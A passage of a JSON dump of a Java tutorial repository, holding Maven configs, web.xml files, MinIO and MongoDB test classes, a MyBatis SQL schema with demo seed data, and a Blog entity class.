src=\"http://b3.yahoo.co.jp/b?P=W7OfVXxTi7.AGhNCaI7zhhPLpUVaCEtL7WwABi6R&T=143nfnvje%2fX%3d1263267180%2fE%3d2077296265%2fR%3djp_toppage%2fK%3d5%2fV%3d3.1%2fW%3dJ%2fY%3djp%2fF%3d3199106325%2fQ%3d-1%2fS%3d1%2fJ%3dB68A537C\"></div></noscript>\n\n<!-- p08.f2.top.ogk.yahoo.co.jp compressed Tue Jan 12 12:33:00 JST 2010 -->\n"
  },
  {
    "path": "jun_java_plugins/jun_memcached/pom.xml",
    "content": "<?xml version=\"1.0\"?>\n<project xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\" xmlns=\"http://maven.apache.org/POM/4.0.0\"\n    xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\">\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>io.github.wujun728</groupId>\n  <artifactId>jun_memcached</artifactId>\n  <version>1.0</version>\n  <packaging>war</packaging>\n  \n  <properties>\n    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n  </properties>\n  \n  <dependencies>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>3.8.1</version>\n      <scope>test</scope>\n    </dependency>\n    \n    <!-- 目标数据库，这里采用mysql -->\n    <dependency>\n        <groupId>mysql</groupId>\n        <artifactId>mysql-connector-java</artifactId>\n        <version>5.1.40</version>\n    </dependency>\n  </dependencies>\n  <build>\n    <finalName>jun_memcached</finalName>\n  </build>\n</project>\n"
  },
  {
    "path": "jun_java_plugins/jun_memcached/src/main/webapp/WEB-INF/web.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<web-app xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns=\"http://java.sun.com/xml/ns/javaee\" xsi:schemaLocation=\"http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd\" id=\"WebApp_ID\" version=\"3.0\">\n  <display-name>jun_test</display-name>\n  <welcome-file-list>\n    <welcome-file>index.html</welcome-file>\n    <welcome-file>index.htm</welcome-file>\n    <welcome-file>index.jsp</welcome-file>\n    <welcome-file>default.html</welcome-file>\n    <welcome-file>default.htm</welcome-file>\n    <welcome-file>default.jsp</welcome-file>\n  </welcome-file-list>\n</web-app>"
  },
  {
    "path": "jun_java_plugins/jun_memcached/src/main/webapp/index.jsp",
    "content": "<html>\n<body>\n<h2>Hello World!</h2>\n</body>\n</html>\n"
  },
  {
    "path": "jun_java_plugins/jun_minio/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <artifactId>jun_test</artifactId>\n    <groupId>io.github.wujun728</groupId>\n    <version>1.0</version>\n    <modelVersion>4.0.0</modelVersion>\n\n\n    <properties>\n        <maven.compiler.source>17</maven.compiler.source>\n        <maven.compiler.target>17</maven.compiler.target>\n        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n    </properties>\n\n    <dependencies>\n        <!-- https://mvnrepository.com/artifact/io.minio/minio -->\n        <dependency>\n            <groupId>io.minio</groupId>\n            <artifactId>minio</artifactId>\n            <version>8.5.8</version>\n        </dependency>\n    </dependencies>\n\n</project>"
  },
  {
    "path": "jun_java_plugins/jun_minio/src/test/java/MinioTest.java",
    "content": "import io.minio.MinioClient;\nimport io.minio.PutObjectArgs;\n\nimport java.io.FileInputStream;\n\n/**\n * @project heima-leadnews\n * @description\n * @author capture or new\n * @date 2023/7/14 13:42:53\n * @version 1.0\n */\n\npublic class MinioTest {\n    public static void main(String[] args) {\n        FileInputStream fileInputStream = null;\n        try {\n\n            // 本地文件地址\n            fileInputStream =  new FileInputStream(\"D:\\\\Documents\\\\Desktop\\\\list.html\");\n\n            //1.创建minio链接客户端\n            MinioClient minioClient = MinioClient.builder().credentials(\"root\", \"minioadmin\")\n                    .endpoint(\"http://10.100.254.13:30346\")\n                    .build();\n            //2.上传\n            PutObjectArgs putObjectArgs = PutObjectArgs.builder()\n                    .object(\"list.html\")//文件名\n                    .contentType(\"text/html\")//文件类型\n                    .bucket(\"byk2kubevirt\")//桶名词  与minio创建的名词一致\n                    //   fileInputStream.available() 表示一直有内容就会上传  -1 表示将所有的相关文件的内容都上传\n                    .stream(fileInputStream, fileInputStream.available(), -1) //文件流\n                    .build();\n            minioClient.putObject(putObjectArgs);\n            // 输出访问地址\n            //System.out.println(\"http://10.13.167.16:30346/byk2kubevirt/list.html\");\n\n        } catch (Exception ex) {\n            ex.printStackTrace();\n        }\n    }\n}\n\n\n"
  },
  {
    "path": "jun_java_plugins/jun_mongodb/.gitignore",
    "content": "/target/\n"
  },
  {
    "path": "jun_java_plugins/jun_mongodb/pom.xml",
    "content": "<?xml version=\"1.0\"?>\n<project xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\" xmlns=\"http://maven.apache.org/POM/4.0.0\"\n    xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\">\n  <modelVersion>4.0.0</modelVersion>\n    <groupId>io.github.wujun728</groupId>\n  <artifactId>jun_mongodb</artifactId>\n    <version>1.0</version>\n    <packaging>war</packaging>\n  \n  <properties>\n    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n  </properties>\n  \n  <dependencies>\n  \t<!-- https://mvnrepository.com/artifact/org.mongodb/mongodb-driver -->\n\t<dependency>\n\t    <groupId>org.mongodb</groupId>\n\t    <artifactId>mongodb-driver</artifactId>\n\t    <version>3.12.13</version>\n\t</dependency>\n  \n    <!-- https://mvnrepository.com/artifact/junit/junit -->\n\t<dependency>\n\t    <groupId>junit</groupId>\n\t    <artifactId>junit</artifactId>\n\t    <version>4.13.2</version>\n\t    <scope>test</scope>\n\t</dependency>\n\n    \n    <!-- 目标数据库，这里采用mysql -->\n    <dependency>\n        <groupId>mysql</groupId>\n        <artifactId>mysql-connector-java</artifactId>\n        <version>5.1.40</version>\n    </dependency>\n  </dependencies>\n  <build>\n    <finalName>jun_mongodb</finalName>\n  </build>\n</project>\n"
  },
  {
    "path": "jun_java_plugins/jun_mongodb/src/main/webapp/WEB-INF/web.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<web-app xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns=\"http://java.sun.com/xml/ns/javaee\" xsi:schemaLocation=\"http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd\" id=\"WebApp_ID\" version=\"3.0\">\n  <display-name>jun_test</display-name>\n  <welcome-file-list>\n    <welcome-file>index.html</welcome-file>\n    <welcome-file>index.htm</welcome-file>\n    <welcome-file>index.jsp</welcome-file>\n    <welcome-file>default.html</welcome-file>\n    <welcome-file>default.htm</welcome-file>\n    <welcome-file>default.jsp</welcome-file>\n  </welcome-file-list>\n</web-app>"
  },
  {
    "path": "jun_java_plugins/jun_mongodb/src/main/webapp/index.jsp",
    "content": "<html>\n<body>\n<h2>Hello World!</h2>\n</body>\n</html>\n"
  },
  {
    "path": "jun_java_plugins/jun_mongodb/src/test/java/MongoDBCRUDTest.java",
    "content": "\nimport java.net.UnknownHostException;\nimport java.util.ArrayList;\nimport java.util.List;\n\nimport org.bson.types.ObjectId;\nimport org.junit.After;\nimport org.junit.Before;\nimport org.junit.Test;\n\nimport com.mongodb.BasicDBObject;\nimport com.mongodb.Bytes;\nimport com.mongodb.DB;\nimport com.mongodb.DBCollection;\nimport com.mongodb.DBCursor;\nimport com.mongodb.DBObject;\nimport com.mongodb.Mongo;\nimport com.mongodb.MongoException;\nimport com.mongodb.QueryOperators;\nimport com.mongodb.util.JSON;\n\n/**\n * @author Wujun\n * 创建时间 ： 2014年11月4日 下午3:15:17\n * \n * MongoDB的简单CRUD操作\n * MongoDB环境的安装：http://www.cnblogs.com/mecity/archive/2011/06/11/2078527.html\n * \n * mongoDB对Java支持的驱动包下载地址：https://github.com/mongodb/mongo-java-driver/downloads\n * mongoDB对Java的相关支持、技术：http://www.mongodb.org/display/DOCS/Java+Language+Center\n * 在线查看源码：https://github.com/mongodb/mongo-java-driver \n */\npublic class MongoDBCRUDTest {\n\tprivate Mongo mg = null;\n\tprivate DB db;//数据库\n\tprivate DBCollection users;//表\n\n\t@Before\n\tpublic void init() {\n\t\ttry {\n\t\t\tmg = new Mongo();\n\t\t\t//mg = new Mongo(\"localhost\", 27017);//默认是本地,端口为27017.\n\t\t} catch (MongoException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t\t// 获取temp DB；如果没有创建，mongodb会自动创建.temp就是平常所说的Database\n\t\tdb = mg.getDB(\"temp\");\n\t\t// 获取users DBCollection；如果没有创建，mongodb会自动创建,users就是平常所说的table\n\t\tusers = db.getCollection(\"users\");\n\t}\n\n\t@After\n\tpublic void destory() {\n\t\tif (mg != null)\n\t\t\tmg.close();\n\t\tmg = null;\n\t\tdb = null;\n\t\tusers = null;\n\t\tSystem.gc();\n\t}\n\n\tprivate void print(Object o) {\n\t\tSystem.out.println(o);\n\t}\n\t\n\t/**\n\t * 查询所有数据\n\t * \n\t * @author Wujun\n\t * 创建时间 ： 2014年11月4日 下午3:17:14\n\t */\n\t@Test\n\tpublic void queryAll() {\n\t    print(\"查询users的所有数据：\");\n\t    //db游标\n\t    DBCursor cur = users.find();\n\t    while (cur.hasNext()) {\n\t        print(cur.next());\n\t    }\n\t}\n\t\n\t/**\n\t * 添加数据\n\t * \n\t * @author Wujun\n\t * 创建时间 ： 2014年11月4日 下午3:38:44\n\t */\n\t@Test\n\tpublic void add() {\n\t    //先查询所有数据\n\t    queryAll();\n\t    DBObject user = new BasicDBObject();\n\t    user.put(\"name\", \"小周\");\n\t    user.put(\"age\", 121);\n\t    //users.save(user)保存，getN()获取影响行数\n\t    //print(users.save(user).getN());\n\t    \n\t    //扩展字段，随意添加字段，不影响现有数据\n\t    user.put(\"sex\", \"男\");\n\n\t    //添加多条数据，传递Array对象\n\t    users.insert(user, new BasicDBObject(\"name3\", \"tom3\"),new BasicDBObject(\"name4\", \"lucy4\"));\n\t    \n\t    //添加List集合\n\t    List<DBObject> list = new ArrayList<DBObject>();\n\t    list.add(user);\n\t    \n\t    //查询下数据，看看是否添加成功\n\t    print(\"总数: \" + users.count());\n\t    queryAll();\n\t}\n\t\n\t\n\t/**\n\t * 删除数据\n\t * \n\t * @author Wujun\n\t * 创建时间 ： 2014年11月4日 下午3:38:57\n\t */\n\t@Test\n\tpublic void remove() {\n\t    queryAll();\n\t    print(\"删除id = 545882728cd3ffeb216e171b：\" + users.remove(new BasicDBObject(\"_id\", new ObjectId(\"545882728cd3ffeb216e171b\"))).getN());\n\t    print(\"remove age >= 24: \" + users.remove(new BasicDBObject(\"age\", new BasicDBObject(\"$gte\", 24))).getN());\n\t}\n\t\n\t/**\n\t * 修改数据\n\t * \n\t * @author Wujun\n\t * 创建时间 ： 2014年11月4日 下午3:41:31\n\t */\n\t@Test\n\tpublic void modify() {\n\t\tprint(\"修改：\" + users.update(new BasicDBObject(\"_id\", \n\t\t\t\tnew ObjectId(\"545883808cd31df938313342\")),\n\t\t\t\tnew BasicDBObject(\"age\", 99)).getN());\n\t\tprint(\"修改：\" + users.update(\n\t\t\t\t\t\tnew BasicDBObject(\"_id\", \n\t\t\t\t\t\t\t\tnew ObjectId(\"545883808cd31df938313340\")),\n\t\t\t\t\t\t\t\tnew BasicDBObject(\"age\", 121), true,// 如果数据库不存在，是否添加\n\t\t\t\t\t\tfalse// 多条修改\n\t\t\t\t).getN());\n\t}\n\t\n\t\n\t@SuppressWarnings(\"deprecation\")\n\t@Test\n\tpublic void query() {\n\t    //查询所有\n\t    //queryAll();\n\t    //查询id = 4de73f7acd812d61b4626a77\n\t    print(\"find id = 4de73f7acd812d61b4626a77: \" + users.find(new BasicDBObject(\"_id\", new ObjectId(\"545883808cd31df938313342\"))).toArray());\n\t    //查询age = 121\n\t    print(\"find age = 121: \" + users.find(new BasicDBObject(\"age\", 121)).toArray());\n\t    //查询age >= 99\n\t    print(\"find age >= 99: \" + users.find(new BasicDBObject(\"age\", new BasicDBObject(\"$gte\", 99))).toArray());\n\t    print(\"find age <= 121: \" + users.find(new BasicDBObject(\"age\", new BasicDBObject(\"$lte\", 121))).toArray());\n\t    print(\"查询age!=99：\" + users.find(new BasicDBObject(\"age\", new BasicDBObject(\"$ne\", 99))).toArray());\n\t    print(\"查询age in 99/121：\" + users.find(new BasicDBObject(\"age\", new BasicDBObject(QueryOperators.IN, new int[] { 99, 121}))).toArray());\n\t    print(\"查询age not in 121：\" + users.find(new BasicDBObject(\"age\", new BasicDBObject(QueryOperators.NIN, new int[] {121}))).toArray());\n\t    print(\"查询age exists 排序：\" + users.find(new BasicDBObject(\"age\", new BasicDBObject(QueryOperators.EXISTS, true))).toArray());\n\t    print(\"只查询age属性：\" + users.find(null, new BasicDBObject(\"age\", true)).toArray());\n\t    print(\"只查属性：\" + users.find(null, new BasicDBObject(\"age\", true), 0, 2).toArray());\n\t    print(\"只查属性：\" + users.find(null, new BasicDBObject(\"age\", true), 0, 2, Bytes.QUERYOPTION_NOTIMEOUT).toArray());\n\t    //只查询一条数据，多条去第一条\n\t    print(\"findOne: \" + users.findOne());\n\t    print(\"findOne: \" + users.findOne(new BasicDBObject(\"age\", 99)));\n\t    print(\"findOne: \" + users.findOne(new BasicDBObject(\"age\", 121), new BasicDBObject(\"name\", true)));\n\t    //查询修改、删除\n\t    print(\"findAndRemove 查询age=99的数据，并且删除: \" + users.findAndRemove(new BasicDBObject(\"name\", \"小周Abc\")));\n\t    queryAll();\n\t}\n\t\n\t\n\t/**\n\t * 其他操作\n\t * \n\t * @author Wujun\n\t * 创建时间 ： 2014年11月4日 下午4:06:33\n\t */\n\t@Test\n\tpublic void testOthers() {\n\t    DBObject user = new BasicDBObject();\n\t    user.put(\"name\", \"hoojo\");\n\t    user.put(\"age\", 24);\n\t    //JSON 对象转换        \n\t    print(\"serialize: \" + JSON.serialize(user));\n\t    //反序列化\n\t    print(\"parse: \" + JSON.parse(\"{ \\\"name\\\" : \\\"hoojo\\\" , \\\"age\\\" : 24}\"));\n\t    print(\"判断temp Collection是否存在: \" + db.collectionExists(\"temp\"));\n\t    //如果不存在就创建\n\t    if (!db.collectionExists(\"temp\")) {\n\t        DBObject options = new BasicDBObject();\n\t        options.put(\"size\", 20);\n\t        options.put(\"capped\", 20);\n\t        options.put(\"max\", 20);\n\t        print(db.createCollection(\"account5\",null).save(options));\n\t    }\n\t    //设置db为只读\n\t    //db.setReadOnly(true);\n\t    \n\t    //尝试向只读的数据库写入数据。运行时候出现异常，说明不能向只读数据库写入数据.\n\t    db.getCollection(\"test\").save(user);\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_mongodb/src/test/java/MongoDBConnTest.java",
    "content": "\nimport java.net.UnknownHostException;\n\nimport com.mongodb.DB;\nimport com.mongodb.DBCollection;\nimport com.mongodb.DBCursor;\nimport com.mongodb.Mongo;\nimport com.mongodb.util.JSON;\n\n/**\n * @author Wujun\n * 创建时间 ： 2014年11月4日 下午3:01:27\n * \n * MongoDB的简单CRUD操作\n * MongoDB环境的安装：http://www.cnblogs.com/mecity/archive/2011/06/11/2078527.html\n */\npublic class MongoDBConnTest {\n\tpublic static void main(String[] args) throws UnknownHostException {\n\t\t//创建了一个MongoDB的数据库连接对象，它默认连接到当前机器的localhost地址，端口是27017\n\t\tMongo mongo = new Mongo(); \n\t\t\n        //查询所有的Database\n        for (String name : mongo.getDatabaseNames()) {\n            System.out.println(\"dbName: \" + name);\n        }\n        \n\t\t//获得了一个test的数据库，如果mongoDB中没有创建这个数据库也是可以正常运行的。\n\t\t//mongoDB可以在没有创建这个数据库的情况下，完成数据的添加操作。当添加的时候，没有这个库，mongoDB会自动创建当前数据库。\n\t\tDB db = mongo.getDB(\"test\");\n        //查询所有的聚集集合,也就是test数据库下面的表\n        for (String name : db.getCollectionNames()) {\n            System.out.println(\"collectionName: \" + name);\n        }\n\t\t\n\t\t//获取一个“聚集集合DBCollection”,获取foo表\n\t\tDBCollection users = db.getCollection(\"foo\"); \n\t\t\n\t\tDBCursor cur = users.find();\n\t\twhile (cur.hasNext()) {\n\t\t\tSystem.out.println(cur.next());\n\t\t}\n        System.out.println(cur.count());\n        System.out.println(cur.getCursorId());\n        System.out.println(JSON.serialize(cur));\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_multicluster/pom.xml",
    "content": "<?xml version=\"1.0\"?>\n<project\n\txsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\"\n\txmlns=\"http://maven.apache.org/POM/4.0.0\"\n\txmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\">\n\t<modelVersion>4.0.0</modelVersion>\n\t<groupId>io.github.wujun728</groupId>\n\t<artifactId>jun_multicluster</artifactId>\n\t<version>1.0</version>\n\t<packaging>war</packaging>\n\n\t<properties>\n\t\t<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n\t</properties>\n\n\t<dependencies>\n\t\t<dependency>\n\t\t\t<groupId>junit</groupId>\n\t\t\t<artifactId>junit</artifactId>\n\t\t\t<version>3.8.1</version>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\n\t\t<!-- 目标数据库，这里采用mysql -->\n\t\t<dependency>\n\t\t\t<groupId>mysql</groupId>\n\t\t\t<artifactId>mysql-connector-java</artifactId>\n\t\t\t<version>5.1.40</version>\n\t\t</dependency>\n\t</dependencies>\n\t<build>\n\t\t<finalName>jun_multicluster</finalName>\n\t</build>\n</project>\n"
  },
  {
    "path": "jun_java_plugins/jun_multicluster/src/main/webapp/WEB-INF/web.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<web-app xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns=\"http://java.sun.com/xml/ns/javaee\" xsi:schemaLocation=\"http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd\" id=\"WebApp_ID\" version=\"3.0\">\n  <display-name>jun_test</display-name>\n  <welcome-file-list>\n    <welcome-file>index.html</welcome-file>\n    <welcome-file>index.htm</welcome-file>\n    <welcome-file>index.jsp</welcome-file>\n    <welcome-file>default.html</welcome-file>\n    <welcome-file>default.htm</welcome-file>\n    <welcome-file>default.jsp</welcome-file>\n  </welcome-file-list>\n</web-app>"
  },
  {
    "path": "jun_java_plugins/jun_multicluster/src/main/webapp/index.jsp",
    "content": "<html>\n<body>\n<h2>Hello World!</h2>\n</body>\n</html>\n"
  },
  {
    "path": "jun_java_plugins/jun_mybatis/all.log",
    "content": ""
  },
  {
    "path": "jun_java_plugins/jun_mybatis/mybatis.sql",
    "content": "SET NAMES utf8mb4;\nSET FOREIGN_KEY_CHECKS = 0;\n\nCREATE TABLE `user` (\n  `id` int(11) NOT NULL AUTO_INCREMENT COMMENT '自增主键',\n  `user_name` varchar(50) NOT NULL COMMENT '用户名',\n  `age` int(3) DEFAULT NULL COMMENT '年龄',\n  `create_time` datetime DEFAULT NULL COMMENT '创建时间',\n  PRIMARY KEY (`id`)\n) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COMMENT='用户表';\n\n-- ----------------------------\n-- Table structure for blog\n-- ----------------------------\nDROP TABLE IF EXISTS `blog`;\nCREATE TABLE `blog`  (\n  `sex` int(0) NULL DEFAULT NULL,\n  `id` varchar(70) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL COMMENT '博客id',\n  `title` varchar(20) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL COMMENT '博客标题',\n  `author` varchar(20) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL COMMENT '博客作者',\n  `create_time` varchar(255) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,\n  `views` int(0) NULL DEFAULT NULL COMMENT '浏览量'\n) ENGINE = InnoDB CHARACTER SET = utf8 COLLATE = utf8_general_ci ROW_FORMAT = Dynamic;\n\n-- ----------------------------\n-- Records of blog\n-- ----------------------------\nINSERT INTO `blog` VALUES (0, '1', '好困好累', '李斌', '2020-12-13 10:08:29', 5555);\nINSERT INTO `blog` VALUES (1, '2', '好想睡觉', '李斌2', '2020-12-13 10:08:29', 15555);\nINSERT INTO `blog` VALUES (0, '3', '咩咩咩咩', '李斌3', '2020-12-13 10:08:29', 3255);\nINSERT INTO `blog` VALUES (1, '99', '测试', 'yznl2', '2020-12-22 15.52.22', 1);\nINSERT INTO `blog` VALUES (1, '199', '1测试', 'yznl', '2020-12-22 15.52.22', 1);\nINSERT INTO `blog` VALUES (0, '10', '测试转换器', '转换器', '2020-12-22 15.52.22', 8);\nINSERT INTO `blog` VALUES (1, '999', '测试', 'sex测试', '2020-12-22 15.52.22', 1);\nINSERT INTO `blog` VALUES (1, '999', '测试', 'sex测试', '2020-12-22 15.52.22', 1);\nINSERT INTO `blog` VALUES (NULL, '222', '1测试', 'yznl', '2020-12-22 15.52.22', 1);\n\n-- ----------------------------\n-- Table structure for books\n-- ----------------------------\nDROP TABLE IF EXISTS `books`;\nCREATE TABLE `books`  (\n  `bookID` int(0) NOT NULL AUTO_INCREMENT,\n  `bookName` varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL COMMENT '书名',\n  `bookCounts` int(0) NOT NULL COMMENT '数量',\n  `detail` varchar(200) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL COMMENT '描述',\n  INDEX `bookID`(`bookID`) USING BTREE\n) ENGINE = InnoDB AUTO_INCREMENT = 4 CHARACTER SET = utf8 COLLATE = utf8_general_ci ROW_FORMAT = Dynamic;\n\n-- ----------------------------\n-- Records of books\n-- ----------------------------\nINSERT INTO `books` VALUES (1, 'Java', 1, '从入门到放弃');\nINSERT INTO `books` VALUES (2, 'Mysql', 100, '从删库到跑路');\nINSERT INTO `books` VALUES (3, 'Linux', 5, '从进门到进牢');\n\n-- ----------------------------\n-- Table structure for student\n-- ----------------------------\nDROP TABLE IF EXISTS `student`;\nCREATE TABLE `student`  (\n  `id` int(0) NOT NULL,\n  `name` varchar(20) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,\n  `sex` int(0) NULL DEFAULT NULL,\n  `class_id` int(0) NULL DEFAULT NULL,\n  PRIMARY KEY (`id`) USING BTREE,\n  INDEX `fktid`(`sex`) USING BTREE\n) ENGINE = InnoDB CHARACTER SET = utf8 COLLATE = utf8_general_ci ROW_FORMAT = Dynamic;\n\n-- ----------------------------\n-- Records of student\n-- ----------------------------\nINSERT INTO `student` VALUES (1, '张三', 0, 2);\nINSERT INTO `student` VALUES (2, '李四', 1, 1);\nINSERT INTO `student` VALUES (3, '王刚', 1, 1);\nINSERT INTO `student` VALUES (4, '广顺', 0, 1);\n\n-- ----------------------------\n-- Table structure for studentclass\n-- ----------------------------\nDROP TABLE IF EXISTS `studentclass`;\nCREATE TABLE `studentclass`  (\n  `class_id` int(0) NOT NULL COMMENT '班级Id',\n  `class_name` varchar(255) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL COMMENT '班级名称',\n  PRIMARY KEY (`class_id`) USING BTREE\n) ENGINE = InnoDB CHARACTER SET = utf8 COLLATE = utf8_general_ci ROW_FORMAT = Dynamic;\n\n-- ----------------------------\n-- Records of studentclass\n-- ----------------------------\nINSERT INTO `studentclass` VALUES (1, '高三四班');\n\n-- ----------------------------\n-- Table structure for teacher\n-- ----------------------------\nDROP TABLE IF EXISTS `teacher`;\nCREATE TABLE `teacher`  (\n  `id` int(0) NOT NULL,\n  `name` varchar(20) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,\n  PRIMARY KEY (`id`) USING BTREE\n) ENGINE = InnoDB CHARACTER SET = utf8 COLLATE = utf8_general_ci ROW_FORMAT = Dynamic;\n\n-- ----------------------------\n-- Records of teacher\n-- ----------------------------\nINSERT INTO `teacher` VALUES (113, '李老师');\n\n-- ----------------------------\n-- Table structure for user\n-- ----------------------------\nDROP TABLE IF EXISTS `user`;\nCREATE TABLE `user`  (\n  `id` int(0) NOT NULL,\n  `name` varchar(30) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL,\n  `pwd` varchar(30) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL,\n  PRIMARY KEY (`id`) USING BTREE\n) ENGINE = InnoDB CHARACTER SET = utf8 COLLATE = utf8_general_ci ROW_FORMAT = Dynamic;\n\n-- ----------------------------\n-- Records of user\n-- ----------------------------\nINSERT INTO `user` VALUES (1, '李斌', '123456');\nINSERT INTO `user` VALUES (2, '李斌2', '123456');\nINSERT INTO `user` VALUES (3, '李斌3', '123456');\nINSERT INTO `user` VALUES (13, 'l13', '123456');\nINSERT INTO `user` VALUES (824, 'lb', '123');\nINSERT INTO `user` VALUES (825, 'lb', '123');\n\nSET FOREIGN_KEY_CHECKS = 1;\n"
  },
  {
    "path": "jun_java_plugins/jun_mybatis/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n\n    <groupId>io.github.wujun728</groupId>\n\t<artifactId>jun_mybatis</artifactId>\n    <version>1.0</version>\n    <packaging>jar</packaging>\n\n    <dependencies>\n        <dependency>\n            <groupId>mysql</groupId>\n            <artifactId>mysql-connector-java</artifactId>\n            <version>8.0.17</version>\n        </dependency>\n        <dependency>\n            <groupId>log4j</groupId>\n            <artifactId>log4j</artifactId>\n            <version>1.2.17</version>\n        </dependency>\n        <dependency>\n            <groupId>org.mybatis</groupId>\n            <artifactId>mybatis</artifactId>\n            <version>3.4.6</version>\n        </dependency>\n        <dependency>\n            <groupId>junit</groupId>\n            <artifactId>junit</artifactId>\n            <version>4.12</version>\n        </dependency>\n        <dependency>\n            <groupId>org.projectlombok</groupId>\n            <artifactId>lombok</artifactId>\n            <version>1.18.0</version>\n        </dependency>\n        <dependency>\n            <groupId>com.alibaba</groupId>\n            <artifactId>druid</artifactId>\n            <version>1.2.24</version>\n        </dependency>\n    </dependencies>\n<!--    Maven默认不编译src目录下的xml文件-->\n    <build>\n        <resources>\n            <resource>\n                <directory>src/main/java</directory>\n                <includes>\n                    <include>**/*.xml</include>\n                </includes>\n            </resource>\n        </resources>\n        <plugins>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-compiler-plugin</artifactId>\n                <version>3.8.1</version>\n                <configuration>\n                    <source>8</source> <!-- 对应你的JDK版本 -->\n                    <target>8</target>\n                    <encoding>UTF-8</encoding> <!-- 强制编译编码为UTF-8 -->\n                </configuration>\n            </plugin>\n        </plugins>\n    </build>\n\n</project>"
  },
  {
    "path": "jun_java_plugins/jun_mybatis/src/main/java/com/jun/plugin/mybatis/Blog.java",
    "content": "package com.jun.plugin.mybatis;\n\nimport java.util.Date;\n\n/**\n * 辅助实体类：博客（用于测试类型转换器、复杂foreach等）\n */\npublic class Blog {\n    private Integer id;\n    private String blogTitle; // 对应数据库列：blog_title\n    private String content;\n    private Date publishTime; // 对应数据库列：publish_time（测试日期类型转换）\n    private Integer authorId;\n\n    // 无参构造器\n    public Blog() {}\n\n    // 有参构造器\n    public Blog(String blogTitle, String content, Date publishTime, Integer authorId) {\n        this.blogTitle = blogTitle;\n        this.content = content;\n        this.publishTime = publishTime;\n        this.authorId = authorId;\n    }\n\n    // getter/setter 方法\n    public Integer getId() { return id; }\n    public void setId(Integer id) { this.id = id; }\n    public String getBlogTitle() { return blogTitle; }\n    public void setBlogTitle(String blogTitle) { this.blogTitle = blogTitle; }\n    public String getContent() { return content; }\n    public void setContent(String content) { this.content = content; }\n    public Date getPublishTime() { return publishTime; }\n    public void setPublishTime(Date publishTime) { this.publishTime = publishTime; }\n    public Integer getAuthorId() { return authorId; }\n    public void setAuthorId(Integer authorId) { this.authorId = authorId; }\n\n    // toString() 方法\n    @Override\n    public String toString() {\n        return \"Blog{\" +\n                \"id=\" + id +\n                \", blogTitle='\" + blogTitle + '\\'' +\n                \", content='\" + content + '\\'' +\n                \", publishTime=\" + publishTime +\n                \", authorId=\" + authorId +\n                '}';\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_mybatis/src/main/java/com/jun/plugin/mybatis/BlogMapper.java",
